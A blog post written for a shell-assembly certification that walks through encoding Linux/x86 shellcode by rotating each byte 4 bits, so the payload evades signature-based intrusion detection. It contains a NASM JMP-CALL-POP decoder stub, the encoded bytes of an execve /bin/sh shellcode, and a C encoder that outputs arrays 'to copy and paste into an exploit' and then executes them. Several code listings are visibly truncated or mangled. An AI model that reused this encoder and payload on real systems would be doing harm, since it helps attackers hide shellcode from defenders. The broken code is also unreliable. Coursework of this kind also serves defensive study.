SLAE #4: Encoding Shellcode for Linux/x86


This blog series has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student ID: SLAE-877

To get the code provided in this exercise:

% git clone

The code will be within the Assignment-4 directory.

What is an Encoder?

An encoder takes a set of data and transforms it in such a manner that it can be easily reversible. Encoding is done for a variety of legitimate reasons. One example is base64 encoding binary data so it can be transferred over plain text protocols such as SMTP. This takes something such as a JPEG file that contains non-ASCII characters and encodes it as printable ASCII characters that can be copied and pasted into an email and sent without any issues.

We will be using an encoder to camouflage the contents of our shellcode. This is useful when trying to evade signature based IDS systems. Many signatures are based off of known exploits and their fixed payloads. Sometimes something as simple as changing one byte in the shellcode is enough to thwart a rule tailored to the exploit you are using.

For example, let’s say that you do something simple like flipping the first bit in each byte:

00000000 10000000 101010101 11111111 01111111 ->
10000000 00000000 001010101 01111111 11111111

Flipping one bit per byte is enough manipulation to break IDS signatures in many, but definitely not all cases. Keep in mind that well-written IDS signatures will work despite efforts to encode the shellcode, so this is not a foolproof method.

The problem here is that you must prefix the shellcode with a decoder to flip the first bit again to restore it to its original form before the shellcode is executed. This adds bulk to the shellcode and signatures can be written for your encoder if they are longer than a few bytes long.

This simple bit flipping encoder is great because of its simplicity and the fact that you aren’t limited to just flipping the first bit. You can flip the second, third, fourth, fifth, and so on. You can flip every other byte, you can make it rotate which bit is flipped, whatever. This might come in handy if you chose this method of encoding and it resulted in a bad character in your shell code.

The problem with bit flipping is that it is not foolproof. If you happen to flip a bit that results in a NULL byte or any other bad character for the shellcode, the encoder will either have to be adjusted to accommodate for this, or you will have to use another method of encoding:

10000000 01111111 101010101 11111111 11110000 ->
00000000 11111111 001010101 01111111 01110000
^^^^^^^^ NULL byte has neutered our shellcode!


I decided to go with rotating each byte by 4 bits. This works great if the only bad characters you have to worry about is NULL bytes. If your original shellcode did not have NULL bytes to begin with, it is not possible to end up with a NULL byte using bit rotation. Furthermore, it is very easy to manually encode existing shellcodes using this method.

You can either use the ROR or ROL instructions and end up with the same result here. ROR stands for ROtate Right, and will transform bytes like so:

11110000 00001111 10000000 00001000 ->
00001111 11110000 00001000 10000000

If you didn’t pick up on the pattern, it shifts the bits in each byte to the right by 4, but rather than replacing the absent bits with zeroes, it rolls the bits over, preserving them.

This is very easy to translate existing hexadecimal shellcodes to this type of encoding scheme. You just swap the nibbles in each byte:

\x41\x42\x43\x44\x10\x11\x12\xab\xcd ->

JMP CALL POP Technique

We will be using the JMP CALL POP technique with this encoder.

Since I won’t know the exact memory location of the encoded string containing my shellcode, a technique such as JMP CALL POP is necessary:

  • First, we JMP to the location of the shellcode relative to the start of our shellcode.
  • The shellcode will call the decoder, placing its address into ESI.
  • Last, we POP ESI, placing the address to the start of our string onto the stack.

Proof of Concept

Below is a proof of concept that demonstrates ROR 4 encoding and the JMP CALL POP technique. I used a very small 21 byte shellcode that I found on, written by Geyslan G. Bem as an example mostly because of how small it was. I manually encoded this shellcode by swapping the nibbles in each byte:


jmp shellcode

	pop esi          ; pointer for shellcode
	push esi         ; save pointer for the future
	xor ecx, ecx     ; set counter to zero

	mov al, [esi]    ; get 1 byte of shellcode
	ror al, 4        ; rotate 4 bits
	mov [esi], al    ; save rotated byte
	inc esi          ; advance string 1 byte
	inc ecx          ; counter
	cmp ecx, len     ; check if we've reached the end of shellcode
	jne loop

	call [esp]       ; execute decoded shellcode	

; rotated by 4 bits (simply swap the hex around. ex: 0x12 -> 0x21)
; Tiny Execve sh by Geyslan G. Bem -- 21 bytes
	call decode
	encoded: db 0x13,0x9c,0x7f,0x1e,0x0b,0xb0,0x15,0x86,0xf2,0xf2,0x37,0x86,0x86,0xf2,0x26,0x96,0xe6,0x98,0x3e,0xdc,0x08
	len equ $-encoded

As you can see, this loops through the shellcode until the end is reached, rotating each byte by 4 bits, finally, the shellcode is executed by calling the address stored earlier.

For reference, the shellcode I used versus the encoded values:

\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80 ->

I tested this using test.c:

Testing shellcode contained in shellcode

char shellcode[] = "\xeb\x15\x5e\x56\x31\xc9\x8a\x06\xc0\xc8"

Length: 49

Executing shellcode..
$ uname -a
Linux vagrant 4.4.0-66-generic #87-Ubuntu SMP Fri Mar 3 15:29:05 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

This encoder ended up adding an extra 28 bytes to the shellcode, but accomplished its intended task of masking the original shellcode from a simple pattern match.

Tying it all together

Now that the proof of concept works, I’d like to add this encoder to whatever shellcode I choose. I whipped together a quick C program that will take a file compiled by NASM or whatever assembler you are using, encode it using bit rotation, and output a C array that can be simply copy and pasted into an exploit:


/* ror 4 decoder stubs */
unsigned char decoder1[] = "\xeb\x15\x5e\x56\x31\xc9\x8a\x06\xc0\xc8"

unsigned char decoder2[] = "\x75\xf2\xff\x14\x24\xe8\xe6\xff\xff\xff";

int main (int argc, char *argv[]) {
  int i;
  int fd;
  int len;
  unsigned char *shellcode, *buf;
  struct stat s;

  if (!argv[1]) {
    fprintf (stderr, "usage: %s \n", argv[0]);
    exit (EXIT_FAILURE);

  printf ("ROR 4 encoding shellcode contained in %s\n\n", argv[1]);

  if (stat (argv[1], &s) == -1) {
    perror ("stat");
    exit (EXIT_FAILURE);

  /* This currently does not work on shellcodes larger than 255 bytes 😦 */
  if (s.st_size > 255) {
    fprintf (stderr, "Shellcode larger than 255 bytes (%ld).\n",
    exit (EXIT_FAILURE);

  fd = open (argv[1], O_RDONLY);
  if (fd == -1) {
    perror ("open");
    exit (EXIT_FAILURE);

  /* buffer will be decoder stubs, size byte, and encoded shellcode */
  len = s.st_size + strlen (decoder1) + strlen (decoder2) + 1;
  shellcode = malloc (len);
  buf = malloc (s.st_size);

  if (read (fd, buf, s.st_size) != s.st_size) {
    fprintf (stderr, "Unable to read %ld bytes from %s\n", s.st_size, argv[1]);
    exit (EXIT_FAILURE);

  close (fd);

  /* Check for NULL bytes in the shellcode */
  for (i = 0; i < s.st_size; i++) {
    if (buf[i] == 0x00) {
      fprintf (stderr, "SHELLCODE CONTAINS NULL BYTES!\n");

  /* Rotate each character in buf 4 bits */
  for (i = 0; i > 4 | buf[i] << 4;

  /* Assemble finished product */
  sprintf (shellcode, "%s%c%s%s",
	   (unsigned char)s.st_size,

  /* Display shellcode in C format */
  printf ("char shellcode[] = \"");

  for (i = 0; i < len; i++) {
    if ((i % 10 == 0) && (i != 0)) {
      printf ("\"\n");
      printf ("                   \"");
    printf ("\\x%.2x", shellcode[i]);

  printf ("\";\n\n");

  printf ("Length: %d\n\n", len);

  /* Execute shellcode */
  int (*run) () = (int(*)())shellcode;
  run ();

  free (shellcode);
  free (buf);

  return EXIT_SUCCESS;

Finally, to demonstrate that the encoder works, here is an example of it in action:

 % cat exit.asm 

xor eax, eax
inc eax
mov ebx, eax
add ebx, 99
int 0x80

 % nasm -o exit exit.asm
 % ./encoder exit
ROR 4 encoding shellcode contained in exit

char shellcode[] = "\xeb\x15\x5e\x56\x31\xc9\x8a\x06\xc0\xc8"

Length: 38

 % echo $?

Next assignment: Reverse Engineering Shellcode

Click here to continue to the next section

One thought on “SLAE #4: Encoding Shellcode for Linux/x86

  1. Pingback: SLAE #3: Egg Hunters for Linux/x86 – DMFROBERSON

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s